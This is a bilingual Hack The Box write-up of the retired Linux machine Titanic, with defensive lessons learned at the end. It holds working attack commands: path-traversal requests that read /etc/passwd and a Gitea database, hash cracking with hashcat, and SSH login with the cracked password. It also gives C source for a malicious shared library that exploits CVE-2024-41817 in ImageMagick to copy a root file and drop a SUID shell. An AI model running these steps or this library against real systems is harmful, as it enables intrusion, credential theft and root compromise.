Titanic
Executive summary — Titanic chains a path traversal in the ticket-download endpoint of a Flask app, allowing arbitrary file read as
www-data. That LFI is used to steal the SQLite database of an internal Gitea instance, crack a PBKDF2-HMAC-SHA256 hash, and reuse the recovered password to get SSH access. The final escalation abuses CVE-2024-41817 in ImageMagick: a root cron job runsmagickfrom a directory writable by the user, which loads a malicious shared library planted there.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.221 |
Attack map
[80] titanic.htb — booking app (Flask/Werkzeug)
│ /download?ticket= does not confine the path to the tickets directory
▼
[LFI] arbitrary file read as www-data
│ steals gitea.db (SQLite) from the dev.titanic.htb vhost
▼
[Gitea DB] developer's PBKDF2-HMAC-SHA256 hash -> cracked (hashcat -m 10900)
│ password reused as the SSH password
▼
[SSH] developer (user.txt)
│ a root cron job runs every minute a script that cd's into a
│ directory writable by developer before invoking magick
│ CVE-2024-41817 — ImageMagick looks for libxcb.so.1 in the CWD
▼
[ROOT] malicious libxcb.so.1 -> constructor executed as root (root.txt)
1. Reconnaissance
The host doesn't respond to ICMP, and a quick top-100 scan came back all filtered — a typical artifact of a firewall dropping pings, not an actual absence of services. A full scan with -Pn (not relying on ping) clears up the real surface:
nmap -p- --min-rate 2000 -Pn -oN recon/nmap-allports.txt 10.129.231.221
nmap -sCV -p22,80 -Pn -oN recon/nmap-services.txt 10.129.231.221
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu 22.04)
80/tcp open http Apache 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
Apache's redirect reveals the vhost titanic.htb. After adding it to /etc/hosts, response headers show Server: Werkzeug/3.0.3 Python/3.10.12 — the real app is Flask, with Apache sitting in front as a reverse proxy:
curl -s http://titanic.htb/ | grep -oiE '<title>[^<]*|action="[^"]*"'
<title>Titanic - Book Your Ship Trip
action="/book"
A ticket-booking form (/book) is all the visible functionality on the homepage.
Resumen ejecutivo — Titanic encadena un path traversal en el endpoint de descarga de tickets de una app Flask, que permite lectura arbitraria de ficheros como
www-data. Con esa LFI se roba la base de datos SQLite de un Gitea interno, se crackea un hash PBKDF2-HMAC-SHA256 y la contraseña resultante —reutilizada en el sistema— da acceso SSH. La escalada final abusa de CVE-2024-41817 en ImageMagick: una tarea programada de root ejecutamagickdesde un directorio escribible por el usuario, que carga una biblioteca compartida maliciosa colocada allí.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.221 |
Mapa del ataque
[80] titanic.htb — app de reservas (Flask/Werkzeug)
│ /download?ticket= no confina la ruta al directorio de tickets
▼
[LFI] lectura arbitraria de ficheros como www-data
│ roba gitea.db (SQLite) del vhost dev.titanic.htb
▼
[Gitea DB] hash PBKDF2-HMAC-SHA256 de developer -> crackeado (hashcat -m 10900)
│ contraseña reutilizada como contraseña SSH
▼
[SSH] developer (user.txt)
│ cron de root ejecuta cada minuto un script que hace cd a un
│ directorio escribible por developer antes de invocar magick
│ CVE-2024-41817 — ImageMagick busca libxcb.so.1 en el CWD
▼
[ROOT] libxcb.so.1 maliciosa -> constructor ejecutado como root (root.txt)
1. Reconocimiento
El host no responde a ICMP y un barrido rápido de los 100 puertos más comunes devolvió todo como filtered — un artefacto típico de un firewall que descarta pings, no una ausencia real de servicios. Un escaneo completo con -Pn (sin depender del ping) aclara la superficie real:
nmap -p- --min-rate 2000 -Pn -oN recon/nmap-allports.txt 10.129.231.221
nmap -sCV -p22,80 -Pn -oN recon/nmap-services.txt 10.129.231.221
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu 22.04)
80/tcp open http Apache 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
La redirección de Apache revela el vhost titanic.htb. Tras añadirlo a /etc/hosts, las cabeceras de respuesta muestran Server: Werkzeug/3.0.3 Python/3.10.12 — la app real es Flask, con Apache delante como proxy inverso:
curl -s http://titanic.htb/ | grep -oiE '<title>[^<]*|action="[^"]*"'
<title>Titanic - Book Your Ship Trip
action="/book"
Un formulario de reserva de billetes (/book) es toda la funcionalidad visible en la portada.
2. Path traversal in the download endpoint — LFI
Submitting a booking makes the app generate a JSON ticket and redirect to a download endpoint that serves it back:
curl -s -i -X POST http://titanic.htb/book \
--data "name=test&email=a@a.com&phone=123&date=2026-01-01&cabin=Standard" | grep -i location
Location: /download?ticket=1307cf87-...-99e855411bd3.json
Mechanism (H-01): the
/downloadendpoint takes the ticket name in theticketparameter and serves the matching file without normalizing or confining the path to the tickets directory. There's no check that the supplied value is only a filename: an absolute path or a../sequence gets concatenated as-is before the file is opened, giving arbitrary read with the web process's privileges (CWE-22, CWE-23).
curl -s "http://titanic.htb/download?ticket=/etc/passwd"
# equivalent: ?ticket=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
Arbitrary read confirmed. /etc/passwd shows a single human user: developer (uid 1000). Repeating the same technique against the target's own /etc/hosts confirms a second vhost configured on the server: dev.titanic.htb.
3. Stealing the Gitea database and cracking the hash
echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts
curl -s -i http://dev.titanic.htb/ | grep -iE "gitea|<title>"
Set-Cookie: i_like_gitea=...
<title>Gitea: Git with a cup of tea</title>
dev.titanic.htb serves a Gitea instance. By default it uses a SQLite backend that stores everything — users, password hashes and salts included — in a single gitea.db file. With the LFI from the previous step, that file is just as readable as any other (CWE-522: Gitea's credential store gets exposed through the web process's LFI, even though both services run on the same host):
curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o loot/gitea.db
head -c15 loot/gitea.db # "SQLite format 3"
sqlite3 loot/gitea.db "SELECT name,email,passwd,salt,passwd_hash_algo FROM user;"
administrator|root@titanic.htb|cba20ccf...|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|developer@titanic.htb|e531d398...619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
Gitea derives passwords with PBKDF2-HMAC-SHA256, 50000 iterations and a 50-byte key, storing passwd/salt as hex. Hashcat instead expects mode 10900 in sha256:iterations:base64(salt):base64(hash) format — hex needs to be converted to base64 before it can be cracked:
salt="8bf3e3452b78544f8bee9400d6936d34"
passwd="e531d398...619263444ea594cfb56"
print(f"sha256:50000:{base64.b64encode(bytes.fromhex(salt)).decode()}:{base64.b64encode(bytes.fromhex(passwd)).decode()}")
hashcat -m 10900 loot/gitea_developer.hash /usr/share/wordlists/rockyou.txt
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rq...+1Y=:25282528
developer's password: 25282528.
4. SSH access as developer (user.txt)
The same password recovered from the Gitea hash turns out to be the password for the system account developer — credential reuse between the internal application and the host itself:
sshpass -p '25282528' ssh developer@10.129.231.221 'id; cat ~/user.txt'
uid=1000(developer) gid=1000(developer) groups=1000(developer)
3f1c3ed16467ccd22f25435ed0a280e5
user.txt: 3f1c3ed16467ccd22f25435ed0a280e5
5. Privilege escalation to root — ImageMagick (CVE-2024-41817)
ls -laR /opt
cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
metadata.log gets regenerated every minute, which gives away a root cron job running this script. Two facts turn it into an escalation path: the script cds into a directory with permissions drwxrwx--- root developer — writable by the developer user itself — and the installed ImageMagick version is vulnerable:
magick --version # ImageMagick 7.1.1-35 Q16-HDRI
Mechanism (H-04, CVE-2024-41817): ImageMagick 7.1.1-35 resolves some dependencies at load time — including
libxcb.so.1— by also searching the current working directory before the linker's normal search paths. Since root's scriptcds into a directory writable by the attacker before invokingmagick, planting a maliciouslibxcb.so.1there is enough to get ImageMagick to load it and run its constructor (__attribute__((constructor))) with the privileges of whoever launches the process — root (CWE-426, CWE-427).
// libxcb.so.1 — the constructor runs when the library is loaded, as root
__attribute__((constructor)) void init(){
setuid(0); setgid(0);
system("cat /root/root.txt > /tmp/rt; " // exfiltrate the flag
"cp /bin/bash /tmp/rootbash; " // drop a SUID bash
"chmod 4755 /tmp/rootbash; " // 4755 = SUID (careful: do NOT later chmod 777, that drops the SUID bit)
"chmod 666 /tmp/rt");
}
gcc -shared -fPIC -nostartfiles -o libxcb.so.1 evil.c
It gets copied into the writable directory, then it's a matter of waiting for the cron job to invoke magick from that CWD (about a minute):
scp libxcb.so.1 developer@titanic.htb:/opt/app/static/assets/images/libxcb.so.1
# wait ~1 min for the cron job to run
cat /tmp/rt # root.txt exfiltrated by the constructor
/tmp/rootbash -p -c 'id' # shell with euid=0
31ad3851dcfd1fe0ea0d2999767549c6
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
root.txt: 31ad3851dcfd1fe0ea0d2999767549c6
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Booking app's /download endpoint | CWE-22/23 — path traversal, path not confined to the tickets directory | Arbitrary file read as www-data |
| Lateral movement | gitea.db (Gitea, SQLite) + SSH password | CWE-522 — Gitea credentials exposed via LFI; PBKDF2 hash cracked and reused | Access as developer (user.txt) |
| PrivEsc | identify_images.sh (root cron) + ImageMagick | CVE-2024-41817 (CWE-426/427) — library loaded from the current working directory | Root via malicious libxcb.so.1 (root.txt) |
Lessons learned
- A download endpoint that takes a filename from the client must validate with
realpath()that the resulting path stays inside the allowed directory — rejecting.., absolute paths and null bytes — or, better, reference the resource by an opaque identifier (UUID) mapped server-side, never by a client-controlled filename. - Isolate internal services (here, Gitea) from the web process with separate users and permissions: the public application should never be able to read another service's database, even on the same host. The real root cause isn't Gitea itself, but the LFI that exposes it.
- Strong passwords, never reused across services; SSH restricted to key-based authentication, and MFA on internal tools like Gitea.
- Keep ImageMagick updated (>= 7.1.1-36) and never run tools from directories writable by unprivileged users: use absolute paths, a read-only working directory, or
find ... -execwithout changing the CWD. Least privilege applies to cron jobs too.
2. Path traversal en el endpoint de descarga — LFI
Al enviar una reserva, la app genera un ticket en formato JSON y redirige a un endpoint de descarga que lo sirve de vuelta:
curl -s -i -X POST http://titanic.htb/book \
--data "name=test&email=a@a.com&phone=123&date=2026-01-01&cabin=Standard" | grep -i location
Location: /download?ticket=1307cf87-...-99e855411bd3.json
Mecanismo (H-01): el endpoint
/downloadrecibe el nombre del ticket en el parámetrotickety sirve el fichero correspondiente sin normalizar la ruta ni confinarla al directorio de tickets. No hay ninguna comprobación de que el valor recibido sea solo un nombre de fichero: una ruta absoluta o una secuencia de../se concatena tal cual antes de abrir el fichero, dando lectura arbitraria con los privilegios del proceso web (CWE-22, CWE-23).
curl -s "http://titanic.htb/download?ticket=/etc/passwd"
# equivalente: ?ticket=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
Lectura arbitraria confirmada. En /etc/passwd aparece un único usuario humano: developer (uid 1000). Repitiendo la misma técnica contra /etc/hosts del propio objetivo se confirma un segundo vhost configurado en el servidor: dev.titanic.htb.
3. Robo de la base de datos de Gitea y crackeo del hash
echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts
curl -s -i http://dev.titanic.htb/ | grep -iE "gitea|<title>"
Set-Cookie: i_like_gitea=...
<title>Gitea: Git with a cup of tea</title>
dev.titanic.htb sirve una instancia de Gitea. Por defecto usa un backend SQLite que guarda todo en un único fichero —usuarios, hashes y salts incluidos— dentro de gitea.db. Con la LFI del paso anterior, ese fichero es tan legible como cualquier otro (CWE-522: el almacén de credenciales de Gitea queda expuesto a través de la LFI del proceso web, aunque ambos servicios corran en el mismo host):
curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o loot/gitea.db
head -c15 loot/gitea.db # "SQLite format 3"
sqlite3 loot/gitea.db "SELECT name,email,passwd,salt,passwd_hash_algo FROM user;"
administrator|root@titanic.htb|cba20ccf...|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|developer@titanic.htb|e531d398...619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
Gitea deriva las contraseñas con PBKDF2-HMAC-SHA256, 50000 iteraciones y una clave de 50 bytes, guardando passwd/salt en hexadecimal. Hashcat, en cambio, espera el modo 10900 en formato sha256:iteraciones:base64(salt):base64(hash) — hace falta convertir de hex a base64 antes de poder crackear:
salt="8bf3e3452b78544f8bee9400d6936d34"
passwd="e531d398...619263444ea594cfb56"
print(f"sha256:50000:{base64.b64encode(bytes.fromhex(salt)).decode()}:{base64.b64encode(bytes.fromhex(passwd)).decode()}")
hashcat -m 10900 loot/gitea_developer.hash /usr/share/wordlists/rockyou.txt
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rq...+1Y=:25282528
Contraseña de developer: 25282528.
4. Acceso SSH como developer (user.txt)
La misma contraseña obtenida del hash de Gitea es la contraseña de la cuenta del sistema developer — reutilización de credenciales entre la aplicación interna y el propio host:
sshpass -p '25282528' ssh developer@10.129.231.221 'id; cat ~/user.txt'
uid=1000(developer) gid=1000(developer) groups=1000(developer)
3f1c3ed16467ccd22f25435ed0a280e5
user.txt: 3f1c3ed16467ccd22f25435ed0a280e5
5. Escalada a root — ImageMagick (CVE-2024-41817)
ls -laR /opt
cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
metadata.log se regenera cada minuto, lo que delata una tarea programada de root ejecutando este script. Dos hechos lo convierten en una vía de escalada: el script hace cd a un directorio con permisos drwxrwx--- root developer —escribible por el propio usuario developer— y la versión instalada de ImageMagick es vulnerable:
magick --version # ImageMagick 7.1.1-35 Q16-HDRI
Mecanismo (H-04, CVE-2024-41817): ImageMagick 7.1.1-35 resuelve algunas dependencias en tiempo de carga —entre ellas
libxcb.so.1— buscándolas también en el directorio de trabajo actual antes que en las rutas normales del enlazador dinámico. Como el script de root hacecda un directorio escribible por el atacante antes de invocarmagick, basta con colocar allí unalibxcb.so.1maliciosa para que ImageMagick la cargue y ejecute su constructor (__attribute__((constructor))) con los privilegios de quien lanza el proceso — root (CWE-426, CWE-427).
// libxcb.so.1 — el constructor se ejecuta al cargar la biblioteca, como root
__attribute__((constructor)) void init(){
setuid(0); setgid(0);
system("cat /root/root.txt > /tmp/rt; " // exfiltrar la bandera
"cp /bin/bash /tmp/rootbash; " // dejar una bash SUID
"chmod 4755 /tmp/rootbash; " // 4755 = SUID (ojo: NO sobrescribir luego con 777, se pierde el SUID)
"chmod 666 /tmp/rt");
}
gcc -shared -fPIC -nostartfiles -o libxcb.so.1 evil.c
Se copia al directorio escribible y se espera a que la tarea programada invoque magick desde ese CWD (aproximadamente un minuto):
scp libxcb.so.1 developer@titanic.htb:/opt/app/static/assets/images/libxcb.so.1
# esperar ~1 min a la ejecución del cron
cat /tmp/rt # root.txt exfiltrado por el constructor
/tmp/rootbash -p -c 'id' # shell con euid=0
31ad3851dcfd1fe0ea0d2999767549c6
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
root.txt: 31ad3851dcfd1fe0ea0d2999767549c6
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Endpoint /download de la app de reservas | CWE-22/23 — path traversal, sin confinar la ruta al directorio de tickets | Lectura arbitraria de ficheros como www-data |
| Movimiento lateral | gitea.db (Gitea, SQLite) + contraseña SSH | CWE-522 — credenciales de Gitea expuestas vía LFI; hash PBKDF2 crackeado y reutilizado | Acceso como developer (user.txt) |
| PrivEsc | identify_images.sh (cron de root) + ImageMagick | CVE-2024-41817 (CWE-426/427) — carga de biblioteca desde el directorio de trabajo actual | Root vía libxcb.so.1 maliciosa (root.txt) |
Lecciones aprendidas
- Un endpoint de descarga que recibe el nombre de fichero del cliente debe validar con
realpath()que la ruta resultante sigue dentro del directorio permitido —rechazando.., rutas absolutas y bytes nulos— o, mejor, referenciar el recurso por un identificador opaco (UUID) mapeado en servidor, nunca por un nombre de fichero controlado por el cliente. - Aislar servicios internos (aquí, Gitea) del proceso web con usuarios y permisos separados: que la aplicación pública no pueda leer la base de datos de otro servicio, aunque compartan host. La causa raíz real no es Gitea, sino la LFI que la expone.
- Contraseñas robustas y no reutilizadas entre servicios; SSH restringido a autenticación por clave, y MFA en herramientas internas como Gitea.
- Mantener ImageMagick actualizado (>= 7.1.1-36) y no ejecutar herramientas desde directorios escribibles por usuarios sin privilegios: usar rutas absolutas, un directorio de trabajo de solo lectura, o
find ... -execsin cambiar de CWD. Principio de mínimo privilegio también en las tareas programadas.